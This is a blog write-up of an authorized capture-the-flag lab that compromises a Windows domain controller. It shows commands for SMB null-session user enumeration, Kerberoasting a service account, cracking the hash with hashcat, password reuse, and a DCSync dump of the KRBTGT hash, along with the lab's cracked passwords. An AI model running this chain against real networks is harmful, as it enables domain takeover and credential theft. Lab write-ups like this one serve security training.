Skip to main content

From SMB Null Session to Domain Controller Compromise via Kerberoasting

Updated 6 min readMarkdown
From SMB Null Session to Domain  Controller Compromise via Kerberoasting

Objective:

A beverage company "Martini" recently had a corporate breach and the compliance and risk team dictates they perform a penetration test at one of their branch offices. The Hack Smarter team has been authorized to perform an internal black box pentest.

CTF Link

Initial Access

The client has provided you with VPN access to their internal network, but no credentials.

wizard-zero@Wiz-Zero:~$ sudo openvpn hacksmarter.ovpn 
[sudo] password for wizard-zero: 
2026-05-14 17:41:45 OpenVPN 2.6.19 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2026-05-14 17:41:45 library versions: OpenSSL 3.0.13 30 Jan 2024, LZO 2.10
2026-05-14 17:41:45 DCO version: N/A
2026-05-14 17:41:50 TCP/UDP: Preserving recently used remote address: [AF_INET]98.82.56.204:1194
2026-05-14 17:41:50 UDPv4 link local: (not bound)
2026-05-14 17:41:50 UDPv4 link remote: [AF_INET]98.82.56.204:1194
2026-05-14 17:41:51 [server] Peer Connection Initiated with [AF_INET]98.82.56.204:1194
2026-05-14 17:41:51 TUN/TAP device tun0 opened
2026-05-14 17:41:51 net_iface_mtu_set: mtu 1500 for tun0
2026-05-14 17:41:51 net_iface_up: set tun0 up
2026-05-14 17:41:51 net_addr_v4_add: 10.200.56.194/16 dev tun0
2026-05-14 17:41:51 Initialization Sequence Completed

Enumeration

We begin with enumerating the running services on the target:

wizard-zero@Wiz-Zero:~$ sudo nmap -sS -p- --min-rate 5000 10.1.79.116 -Pn
[sudo] password for wizard-zero: 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-05-14 17:47 CET
Nmap scan report for 10.1.79.116
Host is up (0.21s latency).
Not shown: 65524 filtered tcp ports (no-response)
PORT      STATE SERVICE
53/tcp open domain 
88/tcp open kerberos-sec 
135/tcp open msrpc 
139/tcp open netbios-ssn 
389/tcp open ldap 
445/tcp open microsoft-ds 
464/tcp open kpasswd5 
593/tcp open http-rpc-epmap 
636/tcp open ldapssl 
3268/tcp open globalcatLDAP 
3269/tcp open globalcatLDAPssl 
3389/tcp open ms-wbt-server 
5985/tcp open wsman 
9389/tcp open adws

Nmap done: 1 IP address (1 host up) scanned in 29.57 seconds

Add the target DC to /etc/hosts to avoid any DNS issues.

After attempting to enumerate shares, we discover that Guest/Null session is allowed and an interesting notes share, but no permissions.

We test again as guest and discover that we have R/W permissions over notes share.

In addition we manage to enumerate a list of users

wizard-zero@Wiz-Zero:~$ nxc smb 10.1.79.116 -u guest -p '' --rid
SMB         10.1.79.116     445    DC01             [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:DRY.MARTINI.BARS) (signing:False) (SMBv1:None)
SMB         10.1.79.116     445    DC01             [+] DRY.MARTINI.BARS\guest: 
SMB         10.1.79.116     445    DC01             498: DRY\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.1.79.116     445    DC01             500: DRY\Administrator (SidTypeUser)
SMB         10.1.79.116     445    DC01             501: DRY\Guest (SidTypeUser)
SMB         10.1.79.116     445    DC01             502: DRY\krbtgt (SidTypeUser)
SMB         10.1.79.116     445    DC01             512: DRY\Domain Admins (SidTypeGroup)
SMB         10.1.79.116     445    DC01             513: DRY\Domain Users (SidTypeGroup)
SMB         10.1.79.116     445    DC01             514: DRY\Domain Guests (SidTypeGroup)
SMB         10.1.79.116     445    DC01             515: DRY\Domain Computers (SidTypeGroup)
SMB         10.1.79.116     445    DC01             516: DRY\Domain Controllers (SidTypeGroup)
SMB         10.1.79.116     445    DC01             517: DRY\Cert Publishers (SidTypeAlias)
SMB         10.1.79.116     445    DC01             518: DRY\Schema Admins (SidTypeGroup)
SMB         10.1.79.116     445    DC01             519: DRY\Enterprise Admins (SidTypeGroup)
SMB         10.1.79.116     445    DC01             520: DRY\Group Policy Creator Owners (SidTypeGroup)
SMB         10.1.79.116     445    DC01             521: DRY\Read-only Domain Controllers (SidTypeGroup)
SMB         10.1.79.116     445    DC01             522: DRY\Cloneable Domain Controllers (SidTypeGroup)
SMB         10.1.79.116     445    DC01             525: DRY\Protected Users (SidTypeGroup)
SMB         10.1.79.116     445    DC01             526: DRY\Key Admins (SidTypeGroup)
SMB         10.1.79.116     445    DC01             527: DRY\Enterprise Key Admins (SidTypeGroup)
SMB         10.1.79.116     445    DC01             528: DRY\Forest Trust Accounts (SidTypeGroup)
SMB         10.1.79.116     445    DC01             529: DRY\External Trust Accounts (SidTypeGroup)
SMB         10.1.79.116     445    DC01             553: DRY\RAS and IAS Servers (SidTypeAlias)
SMB         10.1.79.116     445    DC01             571: DRY\Allowed RODC Password Replication Group (SidTypeAlias)
SMB         10.1.79.116     445    DC01             572: DRY\Denied RODC Password Replication Group (SidTypeAlias)
SMB         10.1.79.116     445    DC01             1000: DRY\DC01$ (SidTypeUser)
SMB         10.1.79.116     445    DC01             1101: DRY\DnsAdmins (SidTypeAlias)
SMB         10.1.79.116     445    DC01             1102: DRY\DnsUpdateProxy (SidTypeGroup)
SMB         10.1.79.116     445    DC01             1104: DRY\mprice (SidTypeUser)
SMB         10.1.79.116     445    DC01             1105: DRY\athena.t0 (SidTypeUser)
SMB         10.1.79.116     445    DC01             1106: DRY\ATHENA_SVC (SidTypeUser)

discovered accounts

  • mprice (RID 1104)

  • athena.t0 (RID 1105) new

  • ATHENA_SVC (RID 1106) service account

It's worth mentioning that I managed to identify one of the users "mprice" through kerbrute using the seclist

We find a text file "notes.txt", the password for mprice is identified in the file.

The credentials obtained mprice:*martini* We verify them and try to enumerate the shares:

RDP access is enabled for this user while winrm is disabled

Privilege Escalation

Now we attempt to perform privilege escalation with user by kerberoasting, I used an impacket binary GetUserSPNs, this allows to acquire the hash for the discovered user earlier ATHENA_SVC

We crack the hash using hashcat, specifying the mode helps to avoid any issues

hashcat -m 13100 athena_svc.hash /home/wizard-zero/Downloads/rockyou.txt

Credentials obtained: ATHENA_SVC:1dirtymartini

winrm is enabled for this user, we use evil-winrm

Objective obtained

Looking at the discovered usernames earlier there was a similar user "athena.t0", worth checking if there is credentials reuse since the two usernames are similar.

The same credentials are used for athena.t0 which is the local admin account, we have premissions that allow to extract the KRBTGT NT system hash resulting in machine compromise.

secretsdump.py DRY.MARTINI.BARS/athena.t0:'1dirtymartini'@10.1.79.116 -just-dc

We successfully compromise the domain controller and gain system level access using the obtained hash.

Summary

  • We started with a service enumeration scan of the domain controller. a Windows Server 2025 box running all the usual AD services. The first thing that stood out was SMB signing being disabled.

  • After poking at the SMB shares with a null session and found a share called notes. Inside was a text file that gave us the password for a domain user named mprice. Not exactly Fort Knox.

  • With mprice credentials in hand, we ran a Kerberoasting attack against the service account ATHENA_SVC and pulled back a hash. A quick run through Hashcat cracked it.

  • We tried that same password on the other similar user we'd found, and athena.t0 logged right in with it. That account turned out to have full admin access to the domain controller's C$ and ADMIN$ shares basically Domain Admin privileges.

  • From there, we ran DCSync and pulled the objective: the KRBTGT hash. With that, you can forge Golden Tickets and become anyone in the domain, anytime you want.

  • The whole chain came down to one weak password being reused across the accounts, and the service account that was ripe for Kerberoasting, and the rest followed.

About the author

  • Penetration tester and security researcher. I disclose vulnerabilities, break into things legally, and write about pentesting, blue team ops, and secure code review. NASA VDP Letters of Recognition · Multiple Hall of Fames. 100+ CTFs completed.

No comments yet. Be the first to comment.

More from this blog